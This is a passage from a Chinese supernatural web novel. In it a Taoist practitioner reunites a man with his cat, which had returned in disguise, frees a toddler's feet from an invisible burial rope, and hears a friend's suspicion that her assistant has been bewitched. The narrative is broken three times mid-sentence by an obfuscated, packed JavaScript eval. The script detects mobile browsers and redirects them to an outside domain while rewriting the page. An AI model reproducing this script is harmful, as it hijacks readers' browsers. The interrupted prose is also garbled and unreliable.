“它真的好过分,你们知道吗?我现在叫它都不理一下,总是用背对着我。我一开始还以为它听力出问题了呢,后来我发现它看电视的时候耳朵是会动的。” 说到这,卢俊青泪流满面,“你们说,我是不是遇到猫界的杀猪盘了啊?” 师蓬蓬、颜京:“……” 郭锦苔同情地拍了拍他的肩膀:“看开点,嫂子好歹貌美……” 13.怪梦 师蓬蓬点燃一张黄符,屏息凝神绕着屋子搜寻。约么一刻钟功夫,她走完一圈,回到客厅。 卢俊青和郭锦苔紧张地看着他,卢俊青问:“怎么样,有什么发现吗?” 师蓬蓬摇摇头,神情有些困惑:“你家里一切正常,没有任何作祟的东西。” 按说卢俊青的情况,的确是很典型的祟梦之症。 祟梦,即鬼祟入梦。 但她方才搜寻一周,却并没有发现任何异常。而且大概是做生意的缘故,卢俊青家里请有土地和财神,若真有鬼祟出现,必然也会引起神法的异动,但他家的土地和财神也都一切如常。 “这样啊……”卢俊青松了口气之余,又有点难以言说的失落,挠挠头道,“难道真的只是我日有所思夜有所梦?” 师蓬蓬一时也想不明白,道:“先做法事吧。” 无论他的猫是否曾经托梦,为它做一场法事总归是个告慰。 法事需要的一干用品卢俊青都已经提前准备好,便将餐桌收拾出来作为临时供桌,几人一起将花果香烛等按照法事科仪的要求一一摆放。 卢俊青又拿出一个巴掌大小的木牌,木牌做工精美,上面还雕了两个尖尖的猫耳朵,颇显心意。 “这是我在网上找人给板砖做的灵位。”卢俊青说道。 只见木牌正面刻着“卢板砖”三个字,上面还有一张小小的照片,照片里是只漂亮的玳瑁猫,胡须和毛色都已经泛白,但体型依然肥硕,正慵懒地趴在阳台的猫爬架上晒太阳。 卢俊青把木牌摆到供桌主位上,这时小腿处突然传来一阵毛绒绒的触感,他低头一看,才发现刚才一直在阳台的花盆不知什么时候进了屋里,正好奇地打量着他们。 卢俊青怕了这祖宗,正要赶它,不料花盆比他更快地纵身一跃,跳到了供桌上面,然后伸长爪子去扒拉那块木牌,“喵——” “花盆,不可以!”卢俊青一惊,连忙去抓花盆。但花盆充耳不闻,往前一蹿,灵活地避开了他的手,同时张口叼住那块木牌,一转身往旁边的柜子上跳去。 卢俊青双手捧脸:“完了完了完了——” 以花盆的破坏力,板砖的灵位怕是不保! 然后,他就见师蓬蓬一个纵身,右手往前一抄,跟扣篮似的,一把就将那坨毛绒绒的狸花猫扣了下来,干净利落地夹在手肘里。 卢俊青:“……?” 卢俊青瞬间闭嘴,竖起个大拇指:“牛啊,姐,这你都能逮住!” “这有什么,”郭锦苔的彩虹屁立刻跟上,叉腰道,“你是没见过我们姐抓鬼时的英姿!” 一旁的颜京:“……” 这就是当代大学生的精神状态吗?真是让人羡慕。 花盆显然没想到会被区区一个人类制住,气得“喵喵”大叫,挥舞着爪子就要去挠师蓬蓬,奈何根本不是师蓬蓬的对手,很快嘴里的木牌就被抠走了。 卢俊青接过木牌,赶紧检查了一遍:“还好还好,没被咬坏。” 花盆咬合力惊人,只要稍微用点力,这牌子少说都得留下几个牙印,好在折腾了这么一会,牌子还是完好如初。 但卢俊青却动了怒,气汹汹地把花盆带到房间里关起来,“你好好地反省一下!” 放完狠话,还把房门上了锁,避免它再跑出来搞破坏。 清除了干扰因素,时辰也差不多了,师蓬蓬让卢俊青重新把板砖的灵位放好,便正式开坛。 她先烧了一道符,随后念诵悼词。 “太上敕令,超汝亡魂,黄泉碧落,四生治恩……” 卢俊青按照指示,上前点了一炷香。从命理的角度看,宠物算在人的子女宫里,所以他不给板砖行跪拜礼,只作简单的祭仪即可。 颜京和郭锦苔站在一旁观看,郭锦苔用手肘拐了一下颜京,好奇地小声询问:“哥,如果宠物算在子女宫的话,那俊青现在收养了花盆,是不是就算有二胎了?” 颜京额角微抽:“……我不知道。” 正说着,屋里忽然吹过一阵冷风,供桌上的烛火摇曳,整齐放在桌前的一刀金箔火纸四散翻飞,“哗啦啦”地飘得满地都是。 郭锦苔只觉背脊一寒,刚想搓一搓胳膊,肩膀上突然一沉,却是颜京把手搭了上来。 郭锦苔疑惑:“哥,你干嘛?” 颜京神情淡淡,显出社会人的沉着冷静:“不要怕,我保护你。” 郭锦苔顿时被他的猛男气概震了一下,感动道:“谢谢你,哥,不过你能不能轻点啊?” 他感觉肩膀都要被捏碎了。 颜京不满地觑了他一眼,要不是因为师蓬蓬在忙,哪里轮得到他抱怨,心里鄙视着,还是面无表情地放轻了一点力度。 这边,卢俊青心头不自觉地“砰砰”直跳,紧张地看向师蓬蓬。师蓬蓬兀自念咒,心里却也有些奇怪,这情形,分明是亡魂受到感召的迹象,可是卢俊青家里并没有亡魂…… 忽然,一声凄厉的猫叫划破夜空,“嗷呜——” 卢俊青吓了一大跳,四处张望:“是板砖在叫吗?它在哪里?” “不是。”颜京脸色微白,不过表情还维持得很好,望向方才用来关花盆的房间,“声音是从那里传出来的。” 卢俊青回过神,仔细聆听,才发现果然是花盆在叫。 不仅如此,花盆似乎还在不停地挠着房门,只听门板“刺啦”作响,刺耳的声音在冷风中一阵阵地回荡,使得氛围更添了几分诡异。 “花盆战斗力好强啊。”郭锦苔惊叹,“房门听起来都要碎了……” “这破猫!不行,这次我一定要教训它!”卢俊青本就心绪不宁,此时越发地恼怒起来,起身就要往房间去。 “等等。”师蓬蓬拦住他。 “怎么?”卢俊青问。 师蓬蓬指了指供桌:“你看。” 卢俊青顺着她手指的方向看去,只见他刚才插下去的三柱清香,此时突然猛烈地燃烧起来,白色浓烟升腾而起,和漫天飞舞的金箔火纸一起在半空中打了个转,随后慢慢地飘向花盆所在的房间。 卢俊青不解:“这、这是什么情况?” “荡荡游魂,何处留存。”师蓬蓬眉头凝起,“板砖的魂魄,似乎就在那里……” 卢俊青一愣,随即狂喜:“板砖回来了?” “不是。”师蓬蓬摇头,这正是她最疑惑的地方,因那魂魄并非受感召而来,反而像是……从一开始就在这里的。 可是这个屋子里,千真万确没有任何阴物的痕迹。 白烟、火纸和符灰还在不断地往房间的方向飞去,花盆的叫声越发刺耳,仿佛在宣泄着极大的不满。 师蓬蓬给了卢俊青一个眼神:“先把花盆放出来。” “哦哦。”卢俊青慌忙小跑过去,刚把门打开,花盆立刻大叫一声蹿了出去,吓得他猛往后退了两步。 好在花盆并没有伤他,而是飞快地跑到客厅,一个借力蹦到供桌上,仿佛发了狂一般,对着一桌子贡品疯狂地撕咬起来。 卢俊青又惊又急:“花盆,你干什么——” 花盆对他的话一如既往地充耳不闻,它力气极大,只听“丁零当啷”一阵响,大半的贡品已被扫落到地上,满室狼藉。 郭锦苔也是一声“卧槽”:“这猫怎么这样啊!板砖的法事算是完了……” 师蓬蓬却并不如他们两人激动,甚至还站远了一点,静静地看着花盆在供桌上横扫一切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751846|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她注意到,在花盆跑出来以后,白烟和纸灰就不再往别处飘飞,只绕着供桌打转。 准确来说,是绕着花盆打转。 难道…… 卢俊青先前关于花盆的话一句句浮现,蓦地,一个古怪的念头冒了出来,一切吊诡的事情似乎都有了解释。 师蓬蓬抬头叫卢俊青:“小卢,你叫它的名字试试。” “花盆?”卢俊青莫名,“我一直在叫它啊,你没看它都不理我……” 师蓬蓬:“不是,叫板砖。” “啊?”卢俊青更加困惑,但很快像是明白了什么,怔怔地看向还在发狂的花盆,抖着声音喊,“喂,板砖,是你吗?” 声音落下,花盆的动作骤然顿住,仿佛电影里被定格的画面。紧接着,它身上的花色飞快变换,褪成泛白的玳瑁色,直到完全成为照片上的板砖的样子。终于,它缓缓地转过身来,碧绿的眼睛滴溜溜地转动一圈,这才“喵呜”一声,扑到卢俊青的怀里。 “唉哟。”这猫实在不轻,卢俊青被撞得一个踉跄,连忙抬手托住它。 板砖两只前爪搭在他的肩膀上,脑袋亲昵地蹭着他的下巴,与先前高冷的样子判若两猫。 “板砖,真的是板砖!”卢俊青又惊又喜,更多的还是迷惑,“这这这、这到底是怎么一回事?” 师蓬蓬走近一步,捏诀点在板砖的额间,板砖睁着眼睛看她,轻轻叫了一声,到底没有躲开。片刻,师蓬蓬彻底肯定了自己的猜测,道:“板砖已经有了气候,本来和你家的缘分该尽了,但应该放心不下你,所以又跑了回来。” 郭锦苔蚊香眼:“听不懂,能不能中译中一下?” 师蓬蓬:“简单来说,就是板砖快要成精了。” 所谓物老成精,动物亦然,板砖作为一只长寿的老猫,显然也开了灵窍,有了成精的机缘,想要进一步修炼,便不能再与凡人生活在一起,所以板砖假死离开。 但在离开后不久,它又感知到了卢俊青会有危险,想是放心不下,奈何它与卢俊青缘分已尽,不该再有牵扯,唯一的法子,便是耗尽仅有的一点修为,换了个模样,专程回来救下卢俊青。 “花盆”会在那个雨天从路边跑出来抱住卢俊青的小腿,不是偶然,正是为了阻止他从那个危险的花盆下面经过。 但板砖这样做毕竟有违天道,折损了修行,所以需要卢俊青再次认出它来。 “这其实也是一种‘讨口封’。”师蓬蓬说道。 在民间传说里,动物在获得一定道行后,就会向人寻求“口封”,由人赋予它们某种资格或能力。 最常见的就是黄鼠狼,它们“讨口封”的方式是直立起身子,头戴草帽向路人询问:“你说我像不像人?”如果路人回答“像”,它们便能修得圆满,化出人身。 而板砖讨的“口封”,便是由卢俊青喊出它的名字,这样他们的缘分得以延续,它也才算渡过了这一劫。 可是卢俊青肉眼凡胎,哪里能看出它的本体,又另外给它取了“花盆”的名字,把它气得够呛,所以才怎么叫它都不搭理,还咬坏了他好几双鞋子。 板砖既非真死,阴魂自然没有离体。师蓬蓬只当它是卢俊青救助的流浪猫,没有多加留意,因此一开始并未发现它的异常。它原就是这家里的猫,土地财神自然也不会有所异动,反而还清除了它留下的淡淡妖气。因此师蓬蓬一番搜寻下来,才会一无所察。 也是因为它其实还没有死,所以后面被做法事强行超度,才会那么生气。 知道真相的卢俊青紧紧抱住板砖,嚎啕大哭:“板砖,都是我不好,差点害了你!” 郭锦苔也很感动,感慨道:“这也算是另一种意义上的《你的名字》吧!” 14.怪梦 板砖得了口封,渡过了这一劫,便要离开。 卢俊青虽然很想让它留下来,但也知道这种事不能强求,只能准备了一堆它以前最喜欢的猫条和罐头,和师蓬蓬几人一起,依依不舍地将它送到小区后面的洛江边上。 “板砖,再见了,以后如果还有机会的话,也要回来看我哦。下一次不管你变成什么样子,我都会尽量认出你来的。”卢俊青说道。 “喵——”板砖叫了一声,碧绿的眼睛盯着他看了一会,随即叼起一个罐头,转过身沿着江岸跑了。 很快,猫身便融入夜色中,消失不见了。 卢俊青抬手揉了揉眼睛,声音哽咽:“江边的风好大,吹得我眼睛疼。” 郭锦苔没拆穿他,只拍了拍他的肩膀:“回去吧。” 一行人便往回走。 路上,卢俊青还不断地向师蓬蓬询问:“姐,你说我以后还能不能见到板砖啊?” “有可能的,”师蓬蓬笑道,“不过它如果再出现的话,讨的估计就是别的口封了。” 卢俊青不明:“什么?” 颜京余光觑了过来,淡声开口:“你说我像不像人?” 师蓬蓬看他一眼,嘻嘻一笑:“像的。” 颜京:“……” 颜京闭了闭眼,忍了忍,到底没忍住,曲起食指轻敲了一下她的额头,“就你机灵。” “昂!”师蓬蓬自知理亏,也没还手,只揉了揉额头,“轻点啊哥,很痛的。” “别装了,我根本没用力。”颜京又好气又好笑,不过一击得手,心情倒是好了不少。 卢俊青反应过来,“啊”的一声,讷讷道:“那我以后遇到小动物问我这个问题,一定要说像才好。” 郭锦苔陷入深思:“……遇到动物开口说话,不是应该先跑路吗?” 卢俊青:“你们没猫的人是不会懂的。” 郭锦苔:“说明我们没猫的人比较正常。” 两人一来一往地拌着嘴,不知不觉间伤感的情绪淡了许多。不一会,一行人便回到了小区里。 师蓬蓬看着时间差不多了,刚想开口道别,这时路旁的绿化带里突然冒出来一个约么两三岁的小孩,张开手臂朝着卢俊青跑过来,一边奶声奶气地喊:“小舅舅——” 小孩子跑得歪歪扭扭,好似一只学步的企鹅。 “可乐,你别跑啊!”卢俊青一惊,三步并作两步冲上前去,伸手要去扶她,但还是晚了一步,小名可乐的小女孩双脚突然像是绊到了什么一样,“扑通”一下摔倒在他的面前,顿时“唉哟”一声。 旁边几人心里不禁揪了一下,好在可乐虽然脸上皱成了一团,却没有哭闹,还反过来捏了捏卢俊青的衣角,憋着眼泪安慰,“小舅舅,我没事,你不要紧张哦。” “知道了。”卢俊青哭笑不得地把她抱起来,转头看绿化带另一边,可乐的妈妈正在接电话,见他看过来,还朝他挥了挥手。 郭锦苔凑近上来:“这是你外甥?好乖啊!” “可乐是挺乖的,不过也是因为摔习惯了。”卢俊青有些心疼地说道。 原来可乐的妈妈正是他的表姐,也住在这个小区里,两家平时经常走动,感情很好,卢俊青对可乐这个小外甥女尤其疼爱。 只是可乐今年已经快三岁了,走路方面却一直不太好。 一般小孩一岁左右学步,到一岁多就能走得很稳当,两岁基本都能跑了。可乐学站立和走路的时间倒是都很正常,但不知为什么,就是一直走不稳,别说跑起来的时候,就是正常走路,也经常平地摔。 为此她家里人这两年没少带她看医生,该检查的都检查了,却始终没能找出原因来。 先前她家里人还想着等孩子大点就好了,但现在可乐都快三岁了,情况还是一点没改善,不免都焦虑了起来。可乐大概也知道自己让大人担心,小小年纪就学会了忍耐,经常摔了也不喊疼,着实让人疼惜得不行。 “说起来,可乐也该上幼儿园了,到时候还不知怎么办呢。”卢俊青说着叹了口气。 这个年纪的孩子需要跟同龄人交往,但是幼儿园里小孩太多也是个问题,老师不可能时时看着,一个搞不好可能会出意外。 卢俊青原只是随口抱怨一下,也没想能得到答案,却听一路少言寡语的颜京冷不丁开口:“这个小孩的脚上,好像有东西。” 卢俊青一愣:“什么?” 这时他表姐姚佳刚好打完电话,从绿化带另一边走过来冲可乐喊道:“宝贝,跟舅舅说完话没有啊?” “妈妈。”可乐立刻屁颠屁颠地走过去牵住她的手。 姚佳跟卢俊青打了声招呼,见他身边还有好几个朋友,也没好继续打扰他,笑眯眯道,“那我跟可乐就先回去了。” 刚要走,就见当中的那个女孩子突地往前一步,伸手拦她:“等等。” 姚佳莫名:“请问有什么事吗?” 师蓬蓬笑道:“刚刚可乐摔了一跤,衣服上沾了点灰,我给她拍一下。” 说着也不等回答,便弯下腰来,伸出手指在可乐的衣角掸了掸,随着她的动作,一层细细的灰飘落下来。 那灰是灰白的颜色,隐隐的还能闻到一丝淡淡的檀香味,姚佳感觉不太对劲,刚要询问,就听卢俊青惊呼出声:“表姐,你看!” 姚佳循着他的视线往下看,顿时也惊讶地瞪大了眼睛。 只见那层灰均匀地铺陈在了可乐的脚下,薄薄的一层好像细面,中间却突兀地出现了一道两指粗的印子,正好横在可乐的双脚之间,乍眼一看,仿佛有根绳子把可乐的两只脚绑了起来一般。 姚佳心头猛然一跳,看向师蓬蓬:“这是什么?” 师蓬蓬一脸果然如此的表情,道:“这个叫做绊脚绳。” “绊脚绳”是以前的一种丧葬风俗,在一些比较偏远的地区,人去世后,要在脚脖子上套一根麻绳,这根麻绳就叫做“绊脚绳”。 这其实是因为以前的条件不好,丧礼常是露天举办,一旦遇上雷雨天气或是小动物从尸体上经过,触发体内的磁场,就容易发生“诈尸”现象。有时尸体甚至会站起来,抓住什么就不放手,俗称“死不丢手”,极为骇人。 所以自古有孝子“守灵”的习俗,便是为了防止动物靠近或是遭遇雷雨等意外,发生不好的事情。在逝者脚上拴麻绳,也是以防万一发生“尸变”,尸体真站了起来,也会被绳子绊倒。 一般来说,绊脚绳会在入殓收棺之前取下来,但也有些粗心的忘了取,这根绳子就会随着逝者去到阴间,乃至转世。而带着绊脚绳投胎的人,由于脚上那看不到的束缚,往往走路不太稳当,所以以前农村地区常常会给刚学步的小孩“割绊脚绳”。不过现在这类习俗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她足足跑了两圈才回来,姚佳一把将她搂紧怀里,眼睛里泛出泪花,“太好了,真是太好了!” 卢俊青没想到请师蓬蓬来做个法事还能顺便解决小外甥的走路问题,一时也是激动不已,说话都有些磕巴,“姐,你真是我唯一的姐!” 颜京:“……” 这些大学生怎么回事,说话都跟师蓬蓬一样没节操! 姚佳又去握师蓬蓬的手,一迭声地表示感谢,一定要给她包个红包,又好奇她看起来年纪轻轻,怎么会懂这个。 “这道题我会做!”郭锦苔抢答,“我们姐大学专业就是学法术的,老牛逼了!” 姚佳:“……” 姚佳又是一阵恍惚,不过她接受能力倒是挺快,很快回过神来,感慨道,“幸亏你是个年轻人,做事也灵活,刚才要换个上了年纪的人上来和我直说,我还真不一定信呢。” 众人一听,都是会心一笑。 这种事确实不好直说,内里原因不言而喻。 当然,师蓬蓬能那么快联想到绊脚绳,还是因为颜京的提醒,她看了颜京一眼,笑眯眯道:“哥,眼神还是那么好嘛!” 颜京:“……” 他只当没听到,兀自抬手看了眼时间,酷酷说道:“太晚了,我送你回去吧。” 15.疑蛊 这日一早,师蓬蓬带着电脑和文件到于天文化所在的办公大楼。 于天文化是近两年新崛起的一家MCN公司,据说背后老板来头不小,行事更是财大气粗,不仅重金签下了大大小小许多网红,在推广投流上也很舍得花钱。短短时间,公司已然成为业内翘楚。 师蓬蓬这次来,是谈合作带货的事。 因福熹的网店销量节节攀升,谭薇有意加大在线上的投入,眼看现在直播如火如荼,便也想试一下水。但福熹没有这方面的经验,几番讨论,还是决定保险一点,先找专业的MCN机构合作。 只是联系了好几家机构,开价却都超出了公司的预算。这些网红公司带货,除了要一笔不菲的坑位费外,还要比例不低的销售分成。 土特产的利润本就不算太高,师蓬蓬自然不愿意答应这样的条件。就在苦恼的时候,她突然接到了于天文化的来电。 于天文化作为业内数一数二的公司,旗下网红的商务报价一向不低,因此师蓬蓬一开始根本没敢考虑他们。没想到于天居然主动提出要跟她合作,并且条件提得十分宽松。 师蓬蓬喜悦之余,心中不免有些疑窦。 接待她的是于天文化商务部的经理孟圳。孟圳约么三十出头,穿着一身考究的西装,脸上带笑,看起来很斯文,只一双眼睛里透着精光。他不动声色地上下打量了师蓬蓬一番,随即客气地将她带到会议室里。 很快,师蓬蓬便明白了于天文化找上她的原因。原来孟圳也参加了那日猫爪科技在洛金大厦举办的培训会,师蓬蓬和刘裕广等人发生冲突时,孟圳刚好就在附近,目睹了颜京亲自出面维护她的经过,于是暗暗留了心。 此次找师蓬蓬,说是合作,实际是想要通过她搭上颜京的关系,从而获取更多猫爪的内部资源。 “师小姐,对于我说的方案,你觉得怎么样?”孟圳语气温和,但唇角微微上扬,勾出一抹势在必得的微笑。 师蓬蓬摇头:“抱歉,我觉得不行。” 有一说一,孟圳提出的条件确实很诱人,除了要的坑位费和分成都远低于行业水平,并承诺让于天的头部网红给福熹带货外,还暗示可以私下给她一笔回扣。 但师蓬蓬更加明白,世上没有白吃的午餐。 孟圳没想到师蓬蓬拒绝得这么干脆,眉头微皱:“师小姐可是觉得哪里不满意?不要紧,你还有什么要求尽管提,我们可以再商量。” “不是不是,”师蓬蓬连忙摆手,满脸都是朴实,“只是您误会了,我跟颜京的关系其实一点都不好,恐怕做不了什么。” 孟圳:“……” 孟圳哪里能信,还想再劝,但师蓬蓬始终不肯松口,最后孟圳实在没了脾气,只能挂着脸把她送走。 “唉——”师蓬蓬叹了口气,正要去等电梯,突然听到有人喊她。 “蓬蓬!” 师蓬蓬循声抬头,就见两个女生迎面走来,前头一人身材高挑,衣着时尚,却是她高中时候的同学许千年。 师蓬蓬不禁有些意外,连忙打了个招呼。 她和许千年高中时并不算熟悉,大学后便没有了联系,没想到会在这里遇到。师蓬蓬本想随便寒暄几句,许千年却是热情的,硬拉着她到附近一家咖啡厅坐了下来。 和许千年一起的另一个女生见状似乎有些无奈,但也没好说什么。 说起近况,师蓬蓬才知道,原来许千年现在已经是个小有名气的网红了。 据许千年说,她大学时就开始在猫爪上做短视频博主,几年下来,积累了不少粉丝。因为收入不错,毕业后干脆没有去上班,全职做起了自媒体。 师蓬蓬便搜了一下她的猫爪账号,果然数据惊人,置顶的几条视频都有上千万的点赞,不禁感慨:“好厉害啊!” 许千年脸上却不见喜悦,反而露出愁色:“这都是以前的啦,最近发的作品播放量下滑了很多,还不知道怎么办呢。” “哎呀,也不用太担心啦。”和她一起来的女生忙出声安抚,“等签了公司,自然会有团队帮忙解决的。” 说着,又有几分惋惜,“其实于天刚才给的条件就很好,可惜你不肯答应。” 这女生名叫郑冰,是许千年大学时候的室友。毕业后郑冰一直没找到满意的工作,正好许千年成立了个人工作室,便请她做了助理。 “我不是说过了吗?”许千年眉头微皱,道,“我不喜欢于天给我规划的路线……” 师蓬蓬听了一会才明白过来。 原来许千年的账号一直做的是校园生活分享,但随着毕业,这个方面的素材减少,流量也随着下降。 许千年便想转换一个新的赛道,只是一直没能找到合适的方向。郑冰见状,便劝她不如签给MCN公司,资源多,自己也不用那么辛苦。 许千年一向信任郑冰,被她一番劝说,也动了念头。郑冰便积极地联系起了各大MCN机构,这倒不难,想签许千年的公司还是挺多的,不过其中开价最高的还是一贯阔绰的于天文化。 许千年今日出现在这里,便是来和于天谈签约内容的。 只是没想到,于天文化居然想把她打造成颜值主播。 “我觉得做颜值主播也挺好的啊。”郑冰眨眨眼,“只要露露脸,唱唱歌,比以前又要写剧本又要到处跑拍视频轻松多了。而且于天还说了会让他们一哥带你,给你引流,这样的机会很少有的。我看过他们的财报,他们一哥带出来的那些女主播都很赚钱……” 郑冰面带关切,耐心地向许千年分析利弊。 许千年有片刻的沉默,像是有些动摇,但立刻又回过神来,摇了摇头,道:“不行,那不是我想走的路子。” “好吧,我知道了。”郑冰见她坚持,只能叹了一声,“我也是不想你一直这么辛苦,既然这样,我再跟于天谈谈,看看能不能改一下签约条件吧……” 许千年不是很赞同:“还跟于天谈吗?我感觉我跟他们的想法不是很合。” “想法是可以磨合的,他们真的很有诚意,给的待遇也是最好的。”郑冰温声道,“你就放心吧,难道我还会坑你不成?” 许千年想想也是,就没有再反驳,道:“行,那就辛苦你了。” 郑冰还想再说点什么,手机屏幕亮了起来,她打开微信一看,脸上顿时露出一抹甜蜜,“呀,小何问我们谈完了没,说要过来接我。” 许千年眉头不自觉皱了一下:“不用了吧。” “他不肯听的,你知道的,他这个人就是太操心了,每次只要我出外勤,都要专门来过来接我。我有跟他说了好多次不要来了,但他老说心疼我……”郑冰面露烦恼,语调却不自觉腻了几分。 师蓬蓬不禁多看了她两眼。 许千年却越发不爽,嗤道:“我没记错的话,他开的是我给你买的车吧。” 郑冰噎了一下,抿了抿嘴,“你别老是提这个啦,他又没想那么多,只是想照顾我……” 还没说完,手机又震动起来,她一看屏幕,嘴角又是一勾,一边起身一边说,“小何真是的,才晚回一下信息,电话就来了。他好黏人的,不接的话就要一直打,我出去一下哈。” 看着郑冰走远,许千年再也忍不住,抓着头发“啊啊啊”地叫了出来:“我受不了了!” 师蓬蓬忙给她递了一杯水:“冷静。” “不,我冷静不了。”许千年突然一把抓住她的手,巴巴地着她,“蓬蓬,你看她的样子,像不像被下蛊了?!” 师蓬蓬:“……啊?” 许千年明显已经憋了很久,刚起了个话头,立刻滔滔不绝地吐槽了起来。 便说道,她和郑冰一直以来关系都很好,从大一时一见如故,后面几乎天天黏在一起,亲姐妹也不过如此了。 现在郑冰虽然做了她的助理,但许千年从来没有把郑冰当下属。工作之外,不管是旅游,探店,逛街,都带着郑冰一起。 许千年这几年做网红赚了不少钱,郑冰经济情况要差得多,但两人间从来没有什么龃龉。郑冰尽心尽力为许千年安排工作,许千年则负责了郑冰几乎所有的开销。 两人如此合作无间,本来过得开开心心的。 直到郑冰交了男朋友以后,一切都变了。 郑冰的男朋友叫何里,是郑冰打游戏的时候认识的情缘。几个月前两人从网恋奔现,然后郑冰就开始时不时地发癫。 “我实在不明白,她怎么会看上那个男的。”许千年一脸嫌弃地说。 何里并不是西洛人,原住在邻市一个小县城里,据说家里父母都不在了,只剩下他自己一人。因为学历低,也找不到什么好工作,原来在老家那边送外卖。 许千年倒不是看不起送外卖的,本来有手有脚,只要能够踏实过日子也行。 但何里明显不是这种人,他跟郑冰奔现还不到一个月,就把老家外卖员的工作辞了,跑到西洛来投奔郑冰。 许千年一开始还以为何里是为了不跟郑冰异地,后面有次跟何里一起吃饭,听他不小心说漏嘴,才知道原来何里是得知郑冰的闺蜜兼老板是个大网红,而且对郑冰很好,包吃包住不说,还给郑冰买了辆车。所以何里才果断来了西洛,原是打着傍上郑冰,也就傍上了许千年的想法。 师蓬蓬听得一愣一愣的,问道:“郑冰没意见吗?” “呵呵,她超爱!我一开始还劝她,结果你猜怎么着?”许千年一脸的无语,“她不跟那个男的分手,反而怕我跟她男朋友看对眼,现在整天防着不让我跟她男朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772961|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见面。” 师蓬蓬欲言又止:“……她男朋友很帅吗?” “帅个鸡毛。”许千年显然是气急了,没忍住爆了一句粗口,“那男的就是一只河童,除了她,谁会看上那种货色啊!” 说着看了师蓬蓬一眼,“你有没有看过那个著名的表情包?” 师蓬蓬秒get—— 你离我的男朋友远点, 她的男朋友——绿色河童.jpg 许千年见郑冰这个样子,索性也就不管了,想着眼不见为净。 但郑冰不知是真怕许千年看上何里,还是想证明自己跟何里在一起过得很好,特别热衷在许千年面前秀恩爱。 像刚才那种情况都还只是寻常。 “我真觉得她跟这个男的在一起后整个人都神志不清了,我带她一起去吃人均五千的大餐,她说没这个男的带她吃的一家猪脚饭好吃……”许千年狂翻白眼。 “人均五千的大餐……”师蓬蓬羡慕的泪水差点从嘴角流下来,唏嘘道,“你对她真好啊。” “因为她也一直对我很好嘛。”许千年叹气,“不过现在没有以前那么好了,她现在一门心思放在那个男的身上,还把我送她的车给那个男的开。真是气死我了,她自己被那个男的吸血就算了,怎么还让他吸我的血啊!” “唉,我本来还想着过阵子转让一些工作室的股份给她,让她做我的合伙人,现在就怕到时候又便宜了那个男的……” 许千年忧心忡忡之余,又百思不得其解。 “她以前真的不是这样的,以前有男生追我的时候,她还会提醒我要擦亮眼睛,不要给男人花钱。” 师蓬蓬在这方面也没有经验,实在爱莫能助,想了一下,才干巴巴地开口:“这个从玄学的角度来说,大概是过情劫吧……” 许千年:“……” 许千年默了一下,像是想起了什么,神秘兮兮地把脑袋凑近过去,压低声音道:“说起来,我高中的时候听班里有人说过,你家里以前是给人做法驱邪的,你好像也会一点是不是?” 师蓬蓬:“……” “不是会一点。”师蓬蓬回看她,“我就是专业的。” 许千年:“……” 许千年本来只是凑个趣,没想到师蓬蓬这么爽快就认了,一时反而被震了一下:“啊,真的啊?” 她原以为师蓬蓬在开玩笑,但见她神色坦荡,不像假的,又反复确认了几遍,才发现她居然是说真的。 “我去,我一直以为那些同学是编的料搞抽象呢。”许千年大为震撼之余,又兴奋了起来。 她前面说郑冰中蛊,自然只是吐槽,心里并不信这些。但是这会真有一个搞玄学的同学在面前,倒是引起了她深入探究的想法,道:“那你看出问题没有,郑冰到底是不是被那只河童迷了心窍?” “那倒没有,”师蓬蓬哭笑不得,说道,“她看起来很正常。” 她说的是实话,若只从表面看,郑冰灵台清明,身上并没有祟气,不存在中邪的迹象。 至于蛊术,这一道流行于边南地区,和师蓬蓬所学的法术不是一个派系的,她就不太了解了。 但想来也不太可能,起码那个何里听起来就不像有这样的本事,不然他直接蛊许千年就好了,何必舍近求远。 “啊,她真的正常吗?”许千年面露失望。 师蓬蓬看她的样子,估计还没有死心,想了一下,道:“这样,你要是实在怀疑,有一个简单的验证方法。” 她虽然没学过蛊术,但两仪学院有招边南的学生,她有个学姐就是草鬼婆的后代,曾经跟她说过一些放蛊的知识。 许千年来了兴趣:“怎么验证?” 师蓬蓬言简意赅:“你弄点打虫药给她吃。” 许千年:? 见许千年一脸“你逗我呢”的表情,师蓬蓬解释道,蛊,边南那边又叫草鬼,实际上是一种炼制过的毒虫。 既然是虫,自然怕打虫药。 所以用打虫药试验,是最简单也最有效的办法。倒不是说打虫药就能除蛊,但是如果郑冰真的中了蛊,吃了打虫药,多少会有些反应,比如拉肚子之类的。 “这么科学的吗?!”许千年这才恍然,点头道,“好,我找个机会试试。” . 师蓬蓬教给许千年那个法子原是带着半开玩笑的性质,是见她实在烦恼,想着让她求个心安,并没有真放在心上。 不料晚饭后不久,微信突然弹出来几条信息。 许千年:【蓬蓬,我按照你说的,给郑冰吃了打虫药。】 许千年:【她窜稀了!!】 许千年:【啊啊啊,她该不会真的中蛊了吧!!!】 SPP:【?】